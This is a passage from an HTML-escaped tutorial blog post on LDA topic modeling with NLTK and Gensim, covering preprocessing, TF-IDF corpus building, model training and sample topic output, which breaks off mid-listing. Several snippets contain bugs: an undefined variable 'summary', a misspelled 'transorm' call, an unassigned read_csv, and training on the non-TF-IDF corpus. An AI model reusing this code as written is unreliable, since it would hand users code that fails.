&lt;a href=&quot;https://en.wikipedia.org/wiki/Natural_language_processing&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt; tasks.
Learn more also the others starting from &lt;a href=&quot;https://techblog.smc.it/en/2020-12-11/nlp-ner&quot;&gt;first article&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Further reading that I recommend, concerns an introduction on the basic aspects of Machine Learning
and specifically &lt;a href=&quot;https://techblog.smc.it/en/2020-05-25/machine-learning-industry&quot;&gt;&lt;strong&gt;Machine learning and applications for industry&lt;/strong&gt;&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;h1 id=&quot;what-is-topic-modeling&quot;&gt;What is Topic Modeling&lt;/h1&gt;&lt;p&gt;With &lt;a href=&quot;https://en.wikipedia.org/wiki/Topic_model&quot;&gt;Topic Modelling&lt;/a&gt; we refer, in fact,
to a specific NLP (Natural Language Processing) that allows you to automatically identify
the main topics covered in a certain documentary corpus.&lt;br/&gt;
It is a task that follows an &lt;a href=&quot;https://en.wikipedia.org/wiki/Unsupervised_learning&quot;&gt;unsupervised approach&lt;/a&gt;,
and as such it does not need a dataset labeled.&lt;br/&gt;
This makes Topic Modeling easy to make and apply.&lt;/p&gt;&lt;p&gt;Each identified topic is described through a series of relevant tokens and/or phrases, ordered by importance, which describe its nature.&lt;br/&gt;
In this context, each document is described by one or more topics. It is assumed that each document is represented by a statistics distribution
in the topic space, which can be obtained by &amp;quot;summing&amp;quot; all the distributions for all the topics covered.&lt;/p&gt;&lt;p&gt;The two main methods for implementing Topic Modeling approaches are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Latent_semantic_analysis&quot;&gt;Latent Semantic Analysis (LSA)&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Latent_Dirichlet_allocation&quot;&gt;Latent Dirichlet Allocation (LDA)&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Let&amp;#x27;s see how to implement Topic Modeling approaches. We will proceed as follows:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Reading and preprocessing of textual contents with the help of the library &lt;a href=&quot;https://www.nltk.org/&quot;&gt;NLTK&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Construction of a Topic Model using the Latent Dirichlet Allocation technique, through the use of
library &lt;a href=&quot;https://radimrehurek.com/gensim/&quot;&gt;Gensim&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Dynamic display of the result through the library &lt;a href=&quot;https://github.com/bmabey/pyLDAvis&quot;&gt;pyLDAvis&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In the &lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;Github&lt;/a&gt; repository linked to the NLP article series there is a
&lt;a href=&quot;https://github.com/smclab/blog-nlp/blob/main/nlp/3-topic-modelling/notebooks/Topic%20Modelling%20with%20Gensim.ipynb&quot;&gt;Jupyter Notebook&lt;/a&gt;
describing the whole process.&lt;br/&gt;
For this example, a news headline dataset is used, downloadable from
&lt;a href=&quot;https://www.kaggle.com/rmisra/news-category-dataset&quot;&gt;Kaggle&lt;/a&gt; in json format.&lt;br/&gt;
In the repository, for reasons of space, there is only a small subset (in csv format) of the entire dataset, with news from specific categories.
To use the entire dataset, download it and use the &lt;a href=&quot;https://github.com/smclab/blog-nlp/blob/main/nlp/3-topic-modelling/data/utility.py&quot;&gt;utility&lt;/a&gt;
present in the repository to transform it into csv format.&lt;/p&gt;&lt;h1 id=&quot;preprocessing-and-transformation-of-contents&quot;&gt;Preprocessing and transformation of contents&lt;/h1&gt;&lt;p&gt;A phase of preprocessing and transformation of the contents is initially carried out, to put the dataset in the best shape for
training the model.&lt;/p&gt;&lt;p&gt;In Topic Modeling it is good practice to carry out the following transformation steps.&lt;/p&gt;&lt;h4 id=&quot;1-tokenization&quot;&gt;1. Tokenization&lt;/h4&gt;&lt;p&gt;Each document must be transformed into a token list. To do this we define a specific function, using the
&lt;a href=&quot;https://www.nltk.org/api/nltk.tokenize.html&quot;&gt;Tokenizer&lt;/a&gt; of the NLTK library.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nltk.download(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;punkt&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;tokenize&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = nltk.word_tokenize(text)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Tokenization&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4 id=&quot;2-elimination-of-stopwords&quot;&gt;2. Elimination of stopwords&lt;/h4&gt;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Stop_word&quot;&gt;stopwords&lt;/a&gt; in a task like Topic Modeling must be eliminated, as they will not represent in any way
relevant information for the identification and description of topics.&lt;br/&gt;
We use the stopwords defined by the NLTK library and define a function that specifies whether a token is a stopword.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nltk.download(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;stopwords&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;en_stop = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(nltk.corpus.stopwords.words(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;english&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;is_stopwords&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; en_stop:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;False&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 2 - Elimination of stopwords&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h4 id=&quot;3-lemmatization&quot;&gt;3. Lemmatization&lt;/h4&gt;&lt;p&gt;It is very useful to trace each token of each document to its root. Otherwise we will have syntactically different tokens,
but which express the same semantic concept.&lt;br/&gt;
To carry out this process we define a function that returns the root of a word, and to do this we use the NLTK version of the
Stemmer &lt;a href=&quot;http://www.nltk.org/_modules/nltk/stem/wordnet.html&quot;&gt;WordNetLemmatizer&lt;/a&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nltk.download(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wordnet&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.stem.wordnet &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; WordNetLemmatizer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;get_lemma&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; WordNetLemmatizer().lemmatize(token)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 3 - Lemmatization&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Let&amp;#x27;s put it all together in a single function that will be used for the transformation of each content of the dataset. &lt;br/&gt;
In addition to the above operations, we transform each token into lowercase characters and eliminate those
of length less than or equal to 3.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = tokenize(summary)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = [token.lower() &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = [token &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(token) &amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = [token &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; en_stop]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tokens = [get_lemma(token) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; token &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tokens&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 4 - Function for data transformation&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point we can read the content of our csv file, extract the titles into a list and transform each content
in the desired shape.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;data.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;../data/data.csv&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;text_list = data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;headline&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;cleaned_summary_list = [transorm(element) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; element &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text_list]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 5 - Reading and transformation of data&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h1 id=&quot;lda-with-gensim&quot;&gt;LDA with Gensim&lt;/h1&gt;&lt;h3 id=&quot;dictionary-and-vector-corpus&quot;&gt;Dictionary and Vector Corpus&lt;/h3&gt;&lt;p&gt;To build our Topic Model we use the LDA technique implementation of the Gensim library. &lt;br/&gt;
As a first step we build a vocabulary starting from our transformed data. Follows data transformation
in a &lt;strong&gt;vector model&lt;/strong&gt; of type &lt;a href=&quot;https://en.wikipedia.org/wiki/Tf%E2%80%93idf&quot;&gt;Tf-Idf&lt;/a&gt;. &lt;br/&gt;
We save the dictionary and corpus for future use.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;dictionary = corpora.Dictionary(cleaned_summary_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;corpus = [dictionary.doc2bow(text) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; cleaned_summary_list]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tfidf = models.TfidfModel(corpus)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;corpus_tfidf = tfidf[corpus]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pickle.dump(corpus_tfidf, &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;../models/corpus.pkl&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;dictionary.save(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;../models/dictionary.gensim&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 6 - Dictionary and Vector Corpus&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;model-training&quot;&gt;Model training&lt;/h3&gt;&lt;p&gt;Once our corpus has been transformed, we move on to training the Topic Model.&lt;/p&gt;&lt;p&gt;In the application of the LDA technique, among the various parameters that can be specified, there are some of the greatest
relevance:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;corpus&lt;/strong&gt;: Vector corpus of documents to be used for training&lt;/li&gt;&lt;li&gt;&lt;strong&gt;num_topics &lt;/strong&gt;: Number of topics to extract&lt;/li&gt;&lt;li&gt;&lt;strong&gt;id2word &lt;/strong&gt;: Dictionary that defines the mapping of ids to words&lt;/li&gt;&lt;li&gt;&lt;strong&gt;passes &lt;/strong&gt;: Number of steps through the entire corpus during training&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;There are other parameters that we do not specify for simplicity and for which we use the default values.&lt;/p&gt;&lt;p&gt;For all information about the LDA model, see the document &lt;a href=&quot;https://radimrehurek.com/gensim/models/ldamodel.html&quot;&gt;Latent Dirichlet Allocation&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;At this point we move on to train our model.&lt;br/&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; gensim&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;num_topics = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ldamodel = gensim.models.ldamodel.LdaModel(corpus, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;num_topics&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=num_topics, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;id2word&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=dictionary, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;passes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ldamodel.save(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;model5.gensim&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 7 - Model training&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Once the training is finished, we save the model and print for each topic
identified a representation given by the most relevant keywords belonging to the topic.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;topics = ldamodel.print_topics(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;num_words&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; topic &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; topics:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(topic)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.016*&amp;quot;shooting&amp;quot; + 0.012*&amp;quot;police&amp;quot; + 0.009*&amp;quot;killed&amp;quot; + 0.006*&amp;quot;prison&amp;quot; + 0.006*&amp;quot;photo&amp;quot; + 0.005*&amp;quot;suspect&amp;quot; + 0.005*&amp;quot;school&amp;quot; + 0.005*&amp;quot;arrested&amp;quot; + 0.005*&amp;quot;killing&amp;quot; + 0.005*&amp;quot;olympics&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.023*&amp;quot;apple&amp;quot; + 0.013*&amp;quot;space&amp;quot; + 0.012*&amp;quot;iphone&amp;quot; + 0.011*&amp;quot;photo&amp;quot; + 0.009*&amp;quot;video&amp;quot; + 0.008*&amp;quot;planet&amp;quot; + 0.007*&amp;quot;rumor&amp;quot; + 0.007*&amp;quot;science&amp;quot; + 0.006*&amp;quot;first&amp;quot; + 0.006*&amp;quot;earth&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.009*&amp;quot;found&amp;quot; + 0.007*&amp;quot;allegedly&amp;quot; + 0.007*&amp;quot;police&amp;quot; + 0.007*&amp;quot;woman&amp;quot; + 0.006*&amp;quot;study&amp;quot; + 0.006*&amp;quot;video&amp;quot; + 0.005*&amp;quot;player&amp;quot; + 0.004*&amp;quot;arrested&amp;quot; + 0.004*&amp;quot;football&amp;quot; + 0.004*&amp;quot;google&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
